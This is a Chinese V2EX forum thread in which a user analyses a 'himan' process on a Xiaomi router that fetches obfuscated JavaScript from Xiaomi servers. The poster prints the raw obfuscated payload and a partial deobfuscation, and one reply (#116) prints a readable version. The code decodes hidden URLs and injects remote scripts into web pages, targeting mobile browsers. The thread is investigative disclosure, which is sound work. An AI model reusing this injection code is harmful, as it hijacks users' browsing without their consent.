V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
ddup
V2EX  ›  小米

小米路由器在后台不停访问小米服务器发送设备信息,继续分析发现不止如此,还...

  ddup · 2019-01-15 22:02:04 +08:00 · 36787 次点击
这是一个创建于 2137 天前的主题,其中的信息可能已经有所发展或是发生改变。

小米路由器开发版之前有出过劫持网页插入广告的行为,而且这个是通过云端去控制的,也就是你的路由器上有个远程后门。。。

** 这是当时的新闻:小米路由器劫持用户浏览器事件始末 **

今天 SSH 登录小米路由器,执行 top 命令发现了进程中有一个非常可疑的行为。

有一个叫 himan 的进程,行为可疑,频繁的执行,CPU 占用率也很高:

图片

访问了这两个地址:

http://api.miwifi.com/utils/proxy

https://api.miwifi.com/data/himan_rule?sn=xxxxx/xxxxxxxx&deviceId=

这个网址后面还会跟设备 ID,发帖前这个网址还可以访问,你可以自行访问查看

浏览器访问这个地址,发现返回了一个看上去像是规则列表的东西:

最后一个规则非常可疑,是一段 JS 代码: 图片

发现这代码不仅做了压缩,而且还做了混淆加密,而是是双重混淆加密,为什么需要这样做?不想让别人看到什么?

尾巴上的一段代码把它执行,得到了 eval

eval,这已经不是 js 代码的常规操作,这段代码的行迹已经很可疑了。

完整代码如下:

HTTP/1.1 200 OK Server: DnionOS/1.11.2.1.10 Content-Type: application/javascript Connection: close Content-Length: 1535

(function(c,g){g[c()](function(p,a,c,k,e,r){e=function(c){return(c<62?'':e(parseInt(c/62)))+((c=c%62)>35?String.fromCharCode(c+29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[25689rt-zA-F]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(5(l,n){5 f(o){v{2 d=l.w("head")[0];2 q=d.appendChild(i(o));x(5(){d.removeChild(q)},2000)}y(j){}}5 c(d){8 l.createElement(d)}5 i(e){2 d=c("z");d.type="text/javascript";d.async=true;d.9=e;8 d}5 h(p){2 o="";2 d=Math.floor(p.r/4);2 j=p.r-4d;A(2 e=0;e<d;e++){o+=p.B(4e,3)}6(j>0){o+=p.B(4d)}o=decodeURIComponent(o);o=o.split("").reverse().C("");o=o.t(/["]/g,"www");o=o.t(/[>]/g,"http");o=o.t(/[<]/g,".");8 o}v{2 a="D%33Cskcit2ylajna%x2FmSoc%d3CsLcit7ylavna-9elgCoogR%3C9%22g";a=h(a);2 k=l.w("z");A(2 g=0;g<k.r;g++){6(k[g].9&&k[g].9.u(a)==7){6(!n.E){n.E=1;f(["ht","tp","s://",a].C(""));6(top==this){2 b=navigator.userAgent;6(b.u("Android")>0||b.u("Mobile")>0){6(!n.F){n.F=1;x(5(){f(h("454L01%Z3DdJi%38Fphcp%3BCnoWmmo7c_shjdaT_trJ%2FU2mzV_trh%2Fwmocc%3CU0250ihzXuilr%3C5a%2cF%2EF%3MA%3IE"));f(h("D%L3CeCz8mF%2F0btic%2Fwserz%2F5mocN%3Cexjby-cs8%3CGgi%l2F%R2F%s3A%73E"))},10)}}}}break}}}y(m){}})(document,window);',[],42,'||var|||function|if||return|src||||||||||||||||||length||replace|indexOf|try|getElementsByTagName|setTimeout|catch|script|for|substr|join|sj|g1wtj_uuid_a2n11|uuid_m8v_0212'.split('|'),0,{}))})(function(){return (27).toString(4<<2)+'v'+0xf1.toString(11<<1)},window);

最终解密出来的 js

部分解密,这个 js 应该是采用了自定义的加密手法,而且也许还以依赖了别的外部变量,导致没法通过执行的方式全部还原 js,不过代码的意图已经大致可见。

预计完全解密这段 js 需要些时间,本人时间有限,暂时先发出来,同时欢迎其它大牛解密,看看究竟它在干什么。

因为只解密出大致的代码,没有完全解密,也就无法 100% 断定这段代码的行为,不过已经足够对它行为进行大致的判断。

如何判断,在完全解密出来前,我不会下定论,那么就交给各位了。

最后,看来,我还是自己弄个开源的软路由吧。。。

代码中的几个关键词:

  • createElement
  • d.type = "text/javascript"
  • appendChild
  • decodeURIComponent
  • www
  • http
  • b.u("Mobile") > 0

解密出的大致代码:

(5(l, n) { 5 f(o) { v { 2 d = l.w("head")[0]; 2 q = d.appendChild(i(o)); x(5() { d.removeChild(q) }, 2000) } y(j) {} } 5 c(d) { 8 l.createElement(d) } 5 i(e) { 2 d = c("z"); d.type = "text/javascript"; d.async = true; d.9 = e; 8 d } 5 h(p) { 2 o = ""; 2 d = Math.floor(p.r / 4); 2 j = p.r - 4 * d; A(2 e = 0; e0) { o += p.B(4 * d) } o = decodeURIComponent(o); o = o.split("").reverse().C(""); o = o.t(/["]/g, "www"); o = o.t(/[>]/g, "http"); o = o.t(/[<]/g, "."); 8 o } v { 2 a = "D%33Cskcit2ylajna%x2FmSoc%d3CsLcit7ylavna-9elgCoogR%3C9%22g"; a = h(a); 2 k = l.w("z"); A(2 g = 0; g0 || b.u("Mobile") > 0) { 6(!n.F) { n.F = 1; x(5() { f(h("454L01%Z3DdJi%38Fphcp%3BCnoWmmo7c_shjdaT_trJ%2FU2mzV_trh%2Fwmocc%3CU0250ihzXuilr%3C5a%2cF%2EF%3MA%3IE")); f(h("D%L3CeCz8mF%2F0btic%2Fwserz%2F5mocN%3Cexjby-cs8%3CGgi%l2F%R2F%s3A%73E")) }, 10) } } } } break } } } y(m) {} })(document, window);

128 条回复    2020-08-21 10:39:07 +08:00
1  2  
oIMOo
    101
oIMOo  
   2019-01-16 22:01:46 +08:00
这么多发搜索关键词的……
我也想到一个
广东人吃小米路由器
chenyx9
    102
chenyx9  
   2019-01-16 22:19:13 +08:00 via Android
@oIMOo 喔系广东人,喔不七小米路由器。
oIMOo
    103
oIMOo  
   2019-01-16 22:27:19 +08:00
@chenyx9
哈哈,肯定不吃啦。
就是传统关键词都被楼上的人们用完了
annoy1309
    104
annoy1309  
   2019-01-16 23:45:02 +08:00 via Android   ❤️ 1
小米现在的价值观,也不知道天天吹捧小米是国内最有良心互联网企业的是哪一批人
ccnccy
    105
ccnccy  
   2019-01-16 23:52:49 +08:00 via iPhone
Ceo 还是不错的,应该都是些广告追踪。但是访问的网站也太多了吧,网速都被拉慢了。
t6attack
    106
t6attack  
   2019-01-17 01:36:09 +08:00   ❤️ 2
@leoleoasd 在这个问题上,小网站和大中型网站的待遇不一样。大网站堆砌关键词、大量采集信息、根据关键词批量生成网络垃圾,不仅啥事没有,流量还会因此暴增。。而小网站这么干,直接判死刑。
现在搜索引擎就是这么“讲理”。
WeaPoon
    107
WeaPoon  
   2019-01-17 02:43:11 +08:00
作恶啊
RqPS6rhmP3Nyn3Tm
    108
RqPS6rhmP3Nyn3Tm  
   2019-01-17 02:52:42 +08:00 via iPhone   ❤️ 2
小米有些产品不能买,路由器当属第一位
cattrace
    109
cattrace  
   2019-01-17 10:13:22 +08:00
顶上去。
lolizeppelin
    110
lolizeppelin  
   2019-01-17 11:17:32 +08:00
所以我压根就不碰国内的大部分软件 开源也一个卵样
leoleoasd
    111
leoleoasd  
   2019-01-17 16:50:36 +08:00
@t6attack #106 所以 V2EX 这种站算大战还是小站
lwldcr
    112
lwldcr  
   2019-01-17 17:19:46 +08:00
小米路由器列入黑名单.
XiLingHost
    113
XiLingHost  
   2019-01-17 17:36:32 +08:00
只要能刷 lede,国产路由器我也能接受
tab16360
    114
tab16360  
   2019-01-18 07:15:15 +08:00 via Android
js 已经 404 了
nezumi85757
    115
nezumi85757  
   2019-01-18 11:10:55 +08:00   ❤️ 1
小米路由器后门
小米路由器固件
小米路由器广告
小米路由器劫持
小米路由器能不能买
kuaitou286
    116
kuaitou286  
   2019-01-18 11:14:13 +08:00
楼主的上面的完整代码并不完整
大致的意思是网页中插入几个 js


(function (l, n) {
function f(o) {
try {
var d = l.getElementsByTagName("head")[0];
var q = d.appendChild(i(o));
setTimeout(function () {
d.removeChild(q)
}, 2000)
} catch (j) {}
}

function c(d) {
return l.createElement(d)
}

function i(e) {
var d = c("script");
d.replaceype = "text/javascript";
d.async = true;
d.src = e;
return d
}

function h(p) {
var o = "";
var d = Math.floor(p.length / 4);
var j = p.length - 4 * d;
for (var e = 0; e < d; e++) {
o += p.substr(4 * e, 3)
}
if (j > 0) {
o += p.substr(4 * d)
}
o = decodeURIComponent(o);
o = o.split("").reverse().join("");
o = o.replace(/["]/g, "www");
o = o.replace(/[>]/g, "http");
o = o.replace(/[<]/g, ".");
return o
}
try {
var a = "D%33Cskcit2ylajna%x2FmSoc%d3CsLcit7ylavna-9elgCoogR%3C9%22g";
a = h(a);
var k = l.getElementsByTagName("script");
for (var g = 0; g < k.length; g++) {
if (k[g].src && k[g].src.indexOf(a) == 7) {
if (!n.g1wtj_uuid_a2n11) {
n.g1wtj_uuid_a2n11 = 1;
f(["ht", "tp", "s://", a].join(""));
if (top == this) {
var b = navigator.userAgent;
if (b.indexOf("Android") > 0 || b.indexOf("Mobile") > 0) {
if (!n.uuid_m8v_0212) {
n.uuid_m8v_0212 = 1;
setTimeout(function () {
f(h("454L01%Z3DdJi%38Fphcp%3BCnoWmmo7c_shjdaT_trJ%2FU2mzV_trh%2Fwmocc%3CU0250ihzXuilr%3C5a%2cF%2EF%3MA%3IE"));
f(h("D%L3CeCz8mF%2F0btic%2Fwserz%2F5mocN%3Cexjby-cs8%3CGgi%l2F%R2F%s3A%73E"))
}, 10)
}
}
}
}
break
}
}
} catch (m) {}
})(document, window);
ddup
    117
ddup  
OP
   2019-01-18 12:19:33 +08:00
js 页面已经被偷偷改掉了,呵呵。
noinlj
    118
noinlj  
   2019-01-19 09:24:30 +08:00
干了什么见不得人的事了,小米路由器(还好我换了)
Time2
    119
Time2  
   2019-01-19 16:46:25 +08:00   ❤️ 1
小米路由器是什么意思?小米路由器是什么梗?小米路由器是谁?这个梗又是从何而来?为什么一瞬间就有好多人使用这个梗?为什么大家都在小米路由器?相信不少同学都很想了解这个梗,下面就让小编来为大家介绍一下小米路由器梗的详细内容。小米路由器是什么意思?小米路由器是什么梗?小米路由器是谁?这个梗又是从何而来?为什么一瞬间就有好多人使用这个梗?为什么大家都在小米路由器?相信不少同学都很想了解这个梗,下面就让小编来为大家介绍一下小米路由器梗的详细内容。小米路由器是什么意思?小米路由器是什么梗?小米路由器是谁?这个梗又是从何而来?为什么一瞬间就有好多人使用这个梗?为什么大家都在小米路由器?相信不少同学都很想了解这个梗,下面就让小编来为大家介绍一下小米路由器梗的详细内容。小米路由器是什么意思?小米路由器是什么梗?小米路由器是谁?这个梗又是从何而来?为什么一瞬间就有好多人使用这个梗?为什么大家都在小米路由器?相信不少同学都很想了解这个梗,下面就让小编来为大家介绍一下小米路由器梗的详细内容。
flyz
    120
flyz  
   2019-01-22 07:01:34 +08:00 via Android
@ddup 应该有人投诉到小米了,至于结果如何,就不得而知了。
XEZV
    121
XEZV  
   2019-02-07 17:16:42 +08:00
糟了,我就是用的小米路由器,我电脑里的起意人员名单是不是已经
gyuce
    122
gyuce  
   2019-02-09 23:36:42 +08:00 via Android
@sigup
@Asice
@Mohanson
intel ME
中文叫英特尔管理引擎
了解一下
tankren
    123
tankren  
   2019-02-27 09:26:21 +08:00
小米的扫地机器人我都只敢接到不能接入内网的 SSID,所有 IOT 设备都是,就怕这些
cattrace
    124
cattrace  
   2019-03-18 20:33:17 +08:00
@XEZV 同学麻烦来网安局认领一下你的名单
bluefountain
    125
bluefountain  
   2020-03-06 13:22:57 +08:00
突然明白小米现在的路由器不开放 ssh 的原因了
icecrack
    126
icecrack  
   2020-08-07 13:46:16 +08:00   ❤️ 1
小米路由器后门
小米路由器固件
小米路由器广告
小米路由器劫持
小米路由器能不能买

记一下吧,小米真是广告机,这路由器比广告机还恶心。
KouShuiYu
    127
KouShuiYu  
   2020-08-21 10:36:06 +08:00
小米的接口返回的这么随意么[http://api.miwifi.com/utils/proxy]( http://api.miwifi.com/utils/proxy)

```
{
msg: "服务端咯屁了~",
code: -1
}
```
1  2  
关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   970 人在线   最高记录 6679   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 22ms · UTC 20:55 · PVG 04:55 · LAX 12:55 · JFK 15:55
Developed with CodeLauncher
♥ Do have faith in what you're doing.